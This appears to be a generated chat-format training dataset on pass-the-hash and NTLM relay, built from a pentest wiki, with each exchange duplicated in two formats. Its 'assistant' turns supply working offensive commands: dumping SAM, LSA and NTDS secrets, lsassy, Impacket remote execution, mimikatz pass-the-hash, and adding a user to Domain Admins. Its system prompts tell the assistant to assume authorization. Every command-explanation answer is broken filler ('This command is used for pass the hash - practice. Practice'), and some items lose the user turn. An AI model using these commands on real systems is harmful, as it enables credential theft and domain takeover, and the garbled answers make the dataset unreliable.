netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds
`

Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).

`bash
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS
`

=== Command execution

Some Impacket scripts enable testers to execute commands on target systems with pass-the-hash (LMhash can be empty).

`bash
psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
atexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use secretsdump.py for pass the hash - practice?

[Assistant]
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use secretsdump.py for pass the hash - practice?

Response:
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Pass the hash - Practice?

[Assistant]
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Pass the hash - Practice?

Response:
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'`?

[Assistant] This command is used for pass the hash - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'`?

Response: This command is used for pass the hash - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the netexec command to pass the hash - practice

[Assistant]
netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the netexec command to pass the hash - practice

Response:
netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Pass the hash - Practice

[Assistant]
netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Pass the hash - Practice

Response:
netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth`?

[Assistant] This command is used for pass the hash - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth`?

Response: This command is used for pass the hash - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use netexec for pass the hash - practice?

[Assistant]
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use netexec for pass the hash - practice?

Response:
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Pass the hash - Practice

[Assistant]
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Pass the hash - Practice

Response:
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy`?

[Assistant] This command is used for pass the hash - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy`?

Response: This command is used for pass the hash - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the psexec.py syntax for pass the hash - practice?

[Assistant]
psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
atexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the psexec.py syntax for pass the hash - practice?

Response:
psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
atexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Pass the hash - Practice during a pentest?

[Assistant]
psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
atexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Pass the hash - Practice during a pentest?

Response:
psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
atexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'`?

[Assistant] This command is used for pass the hash - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'`?

Response: This command is used for pass the hash - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the netexec command for pass the hash - practice

[Assistant]
netexec winrm $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -x whoami
netexec smb $TARGETS --local-auth -u $USER -H $NThash -x whoami
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -x whoami

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the netexec command for pass the hash - practice

Response:
netexec winrm $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -x whoami
netexec smb $TARGETS --local-auth -u $USER -H $NThash -x whoami
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -x whoami


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Pass the hash - Practice

[Assistant]
netexec winrm $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -x whoami
netexec smb $TARGETS --local-auth -u $USER -H $NThash -x whoami
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -x whoami

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
netexec winrm $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -x whoami
netexec smb $TARGETS --local-auth -u $USER -H $NThash -x whoami
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -x whoami


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `netexec winrm $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -x whoami`?

[Assistant] This command is used for pass the hash - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `netexec winrm $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -x whoami`?

Response: This command is used for pass the hash - practice. Practice


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Pass the hash - Practice during a pentest?

[Assistant] sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NThash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NThash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NThash`?

[Assistant] This command is used for pass the hash - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NThash`?

Response: This command is used for pass the hash - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the pth-net command for pass the hash - practice

[Assistant]
pth-net rpc group members "Domain admins" -U 'Domain/User%LMhash:NThash' -S $DOMAIN_CONTROLLER
pth-net rpc group addmem "Domain admins" Shutdown -U 'Domain/Admin%LMhash:NThash' -S $DOMAIN_CONTROLLER

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the pth-net command for pass the hash - practice

Response:
pth-net rpc group members "Domain admins" -U 'Domain/User%LMhash:NThash' -S $DOMAIN_CONTROLLER
pth-net rpc group addmem "Domain admins" Shutdown -U 'Domain/Admin%LMhash:NThash' -S $DOMAIN_CONTROLLER


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Pass the hash - Practice

[Assistant]
pth-net rpc group members "Domain admins" -U 'Domain/User%LMhash:NThash' -S $DOMAIN_CONTROLLER
pth-net rpc group addmem "Domain admins" Shutdown -U 'Domain/Admin%LMhash:NThash' -S $DOMAIN_CONTROLLER

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Pass the hash - Practice

Response:
pth-net rpc group members "Domain admins" -U 'Domain/User%LMhash:NThash' -S $DOMAIN_CONTROLLER
pth-net rpc group addmem "Domain admins" Shutdown -U 'Domain/Admin%LMhash:NThash' -S $DOMAIN_CONTROLLER


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `pth-net rpc group members "Domain admins" -U 'Domain/User%LMhash:NThash' -S $DOMAIN_CONTROLLER`?

[Assistant] This command is used for pass the hash - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `pth-net rpc group members "Domain admins" -U 'Domain/User%LMhash:NThash' -S $DOMAIN_CONTROLLER`?

Response: This command is used for pass the hash - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the xfreerdp command for pass the hash - practice

[Assistant] xfreerdp /u:$USER /d:$DOMAIN /pth:'LMhash:NThash' /v:$TARGET /h:1010 /w:1920

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the xfreerdp command for pass the hash - practice

Response: xfreerdp /u:$USER /d:$DOMAIN /pth:'LMhash:NThash' /v:$TARGET /h:1010 /w:1920


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Pass the hash - Practice

[Assistant] xfreerdp /u:$USER /d:$DOMAIN /pth:'LMhash:NThash' /v:$TARGET /h:1010 /w:1920

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: xfreerdp /u:$USER /d:$DOMAIN /pth:'LMhash:NThash' /v:$TARGET /h:1010 /w:1920


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `xfreerdp /u:$USER /d:$DOMAIN /pth:'LMhash:NThash' /v:$TARGET /h:1010 /w:1920`?

[Assistant] This command is used for pass the hash - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `xfreerdp /u:$USER /d:$DOMAIN /pth:'LMhash:NThash' /v:$TARGET /h:1010 /w:1920`?

Response: This command is used for pass the hash - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Pass the hash - Limitations, tips and tricks

[Assistant]
> [!IMPORTANT] UAC limits pass-the-hash
> UAC (User Account Control) limits which local users can do remote administration operations. And since most of the attacks exploiting pass-the-hash rely on remote admin operations, it affects this technique.
>
> * the registry key LocalAccountTokenFilterPolicy is set to 0 by default. It means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to do remote administration tasks. Setting it to 1 allows the other local admins as well.
> * the registry key FilterAdministratorToken is set to 0 by default. It allows the built-in local admin account (RID-500, "Administrator") to do remote administration tasks. If set to 1, it doesn't.
>
> In short, by default, only the following accounts can fully take advantage of pass-the-hash:
>
> * local accounts : the built-in, RID-500, "Administrator" account
> * domain accounts : all domain accounts with local admin rights

> [!NOTE] WinRM enables pass-the-hash
> Testers should look out for environments with WinRM enabled. During the WinRM configuration, the Enable-PSRemoting sets the LocalAccountTokenFilterPolicy to 1, allowing all local accounts with admin privileges to do remote admin tasks, hence allowing those accounts to fully take advantage of pass-the-hash.

> [!TIP] Machine accounts
> Just like with any other domain account, a machine account's NT hash can be used with pass-the-hash, but it is not possible to operate remote operations that require local admin rights (such as SAM & LSA secrets dump). These operations can instead be conducted after crafting a Silver Ticket or doing S4U2self abuse, since the machine accounts validates Kerberos tickets used to authenticate to a said computer/service.
>
> A domain controller machine account's NT hash can be used with pass-the-hash to dump the domain hashes (NTDS.dit).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Pass the hash - Limitations, tips and tricks

Response:
> [!IMPORTANT] UAC limits pass-the-hash
> UAC (User Account Control) limits which local users can do remote administration operations. And since most of the attacks exploiting pass-the-hash rely on remote admin operations, it affects this technique.
>
> * the registry key LocalAccountTokenFilterPolicy is set to 0 by default. It means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to do remote administration tasks. Setting it to 1 allows the other local admins as well.
> * the registry key FilterAdministratorToken is set to 0 by default. It allows the built-in local admin account (RID-500, "Administrator") to do remote administration tasks. If set to 1, it doesn't.
>
> In short, by default, only the following accounts can fully take advantage of pass-the-hash:
>
> * local accounts : the built-in, RID-500, "Administrator" account
> * domain accounts : all domain accounts with local admin rights

> [!NOTE] WinRM enables pass-the-hash
> Testers should look out for environments with WinRM enabled. During the WinRM configuration, the Enable-PSRemoting sets the LocalAccountTokenFilterPolicy to 1, allowing all local accounts with admin privileges to do remote admin tasks, hence allowing those accounts to fully take advantage of pass-the-hash.

> [!TIP] Machine accounts
> Just like with any other domain account, a machine account's NT hash can be used with pass-the-hash, but it is not possible to operate remote operations that require local admin rights (such as SAM & LSA secrets dump). These operations can instead be conducted after crafting a Silver Ticket or doing S4U2self abuse, since the machine accounts validates Kerberos tickets used to authenticate to a said computer/service.
>
> A domain controller machine account's NT hash can be used with pass-the-hash to dump the domain hashes (NTDS.dit).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Pass the hash - Limitations, tips and tricks?

[Assistant]
> [!IMPORTANT] UAC limits pass-the-hash
> UAC (User Account Control) limits which local users can do remote administration operations. And since most of the attacks exploiting pass-the-hash rely on remote admin operations, it affects this technique.
>
> * the registry key LocalAccountTokenFilterPolicy is set to 0 by default. It means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to do remote administration tasks. Setting it to 1 allows the other local admins as well.
> * the registry key FilterAdministratorToken is set to 0 by default. It allows the built-in local admin account (RID-500, "Administrator") to do remote administration tasks. If set to 1, it doesn't.
>
> In short, by default, only the following accounts can fully take advantage of pass-the-hash:
>
> * local accounts : the built-in, RID-500, "Administrator" account
> * domain accounts : all domain accounts with local admin rights

> [!NOTE] WinRM enables pass-the-hash
> Testers should look out for environments with WinRM enabled. During the WinRM configuration, the Enable-PSRemoting sets the LocalAccountTokenFilterPolicy to 1, allowing all local accounts with admin privileges to do remote admin tasks, hence allowing those accounts to fully take advantage of pass-the-hash.

> [!TIP] Machine accounts
> Just like with any other domain account, a machine account's NT hash can be used with pass-the-hash, but it is not possible to operate remote operations that require local admin rights (such as SAM & LSA secrets dump). These operations can instead be conducted after crafting a Silver Ticket or doing S4U2self abuse, since the machine accounts validates Kerberos tickets used to authenticate to a said computer/service.
>
> A domain controller machine account's NT hash can be used with pass-the-hash to dump the domain hashes (NTDS.dit).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Pass the hash - Limitations, tips and tricks?

Response:
> [!IMPORTANT] UAC limits pass-the-hash
> UAC (User Account Control) limits which local users can do remote administration operations. And since most of the attacks exploiting pass-the-hash rely on remote admin operations, it affects this technique.
>
> * the registry key LocalAccountTokenFilterPolicy is set to 0 by default. It means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to do remote administration tasks. Setting it to 1 allows the other local admins as well.
> * the registry key FilterAdministratorToken is set to 0 by default. It allows the built-in local admin account (RID-500, "Administrator") to do remote administration tasks. If set to 1, it doesn't.
>
> In short, by default, only the following accounts can fully take advantage of pass-the-hash:
>
> * local accounts : the built-in, RID-500, "Administrator" account
> * domain accounts : all domain accounts with local admin rights

> [!NOTE] WinRM enables pass-the-hash
> Testers should look out for environments with WinRM enabled. During the WinRM configuration, the Enable-PSRemoting sets the LocalAccountTokenFilterPolicy to 1, allowing all local accounts with admin privileges to do remote admin tasks, hence allowing those accounts to fully take advantage of pass-the-hash.

> [!TIP] Machine accounts
> Just like with any other domain account, a machine account's NT hash can be used with pass-the-hash, but it is not possible to operate remote operations that require local admin rights (such as SAM & LSA secrets dump). These operations can instead be conducted after crafting a Silver Ticket or doing S4U2self abuse, since the machine accounts validates Kerberos tickets used to authenticate to a said computer/service.
>
> A domain controller machine account's NT hash can be used with pass-the-hash to dump the domain hashes (NTDS.dit).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe NTLM relay - Theory in the context of penetration testing

[Assistant]
After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to relay that authentication to targets of his choosing. Depending on the mitigations in place, he will be able to move laterally and escalate privileges within an Active Directory domain.

The NTLM authentication messages are embedded in the packets of application protocols such as SMB, HTTP, MSSQL, SMTP, IMAP. The LM and NTLM authentication protocols are "application protocol-independent". It means one can relay LM or NTLM authentication messages over a certain protocol, say HTTP, over another, say SMB. That is called cross-protocols LM/NTLM relay. It also means the relays and attacks possible depend on the application protocol the authentication messages are embedded in.

The chart below sums up the expected behavior of cross-protocols relay attacks depending on the mitigations in place (original here). All the tests and results listed in the chart were made using Impacket's ntlmrelayx (Python).

![](<assets/NTLM relay mitigation chart.png>)

The following mindmap sums up the overall attack paths of NTLM relay. Gabriel Prudhomme explains how to read it here: BHIS | Coercions and Relays – The First Cred is the Deepest (at 08:00).

![](<./assets/NTLM relay.png>)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe NTLM relay - Theory in the context of penetration testing

Response:
After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to relay that authentication to targets of his choosing. Depending on the mitigations in place, he will be able to move laterally and escalate privileges within an Active Directory domain.

The NTLM authentication messages are embedded in the packets of application protocols such as SMB, HTTP, MSSQL, SMTP, IMAP. The LM and NTLM authentication protocols are "application protocol-independent". It means one can relay LM or NTLM authentication messages over a certain protocol, say HTTP, over another, say SMB. That is called cross-protocols LM/NTLM relay. It also means the relays and attacks possible depend on the application protocol the authentication messages are embedded in.

The chart below sums up the expected behavior of cross-protocols relay attacks depending on the mitigations in place (original here). All the tests and results listed in the chart were made using Impacket's ntlmrelayx (Python).

![](<assets/NTLM relay mitigation chart.png>)

The following mindmap sums up the overall attack paths of NTLM relay. Gabriel Prudhomme explains how to read it here: BHIS | Coercions and Relays – The First Cred is the Deepest (at 08:00).

![](<./assets/NTLM relay.png>)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out NTLM relay - Theory during a pentest?

[Assistant]
After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to relay that authentication to targets of his choosing. Depending on the mitigations in place, he will be able to move laterally and escalate privileges within an Active Directory domain.

The NTLM authentication messages are embedded in the packets of application protocols such as SMB, HTTP, MSSQL, SMTP, IMAP. The LM and NTLM authentication protocols are "application protocol-independent". It means one can relay LM or NTLM authentication messages over a certain protocol, say HTTP, over another, say SMB. That is called cross-protocols LM/NTLM relay. It also means the relays and attacks possible depend on the application protocol the authentication messages are embedded in.

The chart below sums up the expected behavior of cross-protocols relay attacks depending on the mitigations in place (original here). All the tests and results listed in the chart were made using Impacket's ntlmrelayx (Python).

![](<assets/NTLM relay mitigation chart.png>)

The following mindmap sums up the overall attack paths of NTLM relay. Gabriel Prudhomme explains how to read it here: BHIS | Coercions and Relays – The First Cred is the Deepest (at 08:00).

![](<./assets/NTLM relay.png>)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out NTLM relay - Theory during a pentest?

Response:
After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to relay that authentication to targets of his choosing. Depending on the mitigations in place, he will be able to move laterally and escalate privileges within an Active Directory domain.

The NTLM authentication messages are embedded in the packets of application protocols such as SMB, HTTP, MSSQL, SMTP, IMAP. The LM and NTLM authentication protocols are "application protocol-independent". It means one can relay LM or NTLM authentication messages over a certain protocol, say HTTP, over another, say SMB. That is called cross-protocols LM/NTLM relay. It also means the relays and attacks possible depend on the application protocol the authentication messages are embedded in.

The chart below sums up the expected behavior of cross-protocols relay attacks depending on the mitigations in place (original here). All the tests and results listed in the chart were made using Impacket's ntlmrelayx (Python).

![](<assets/NTLM relay mitigation chart.png>)

The following mindmap sums up the overall attack paths of NTLM relay. Gabriel Prudhomme explains how to read it here: BHIS | Coercions and Relays – The First Cred is the Deepest (at 08:00).

![](<./assets/NTLM relay.png>)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is NTLM relay - Session signing?

[Assistant]
Session signing is a powerful but limited mitigation against NTLM relay that only SMB and LDAP can use.

* SMB signing works in a "least requirements" way. If neither the client or the server require signing, the session will not be signed (because of performance issues)
* LDAP signing works in a "most requirements" way. If both the client and the server support signing, then they will sign the session

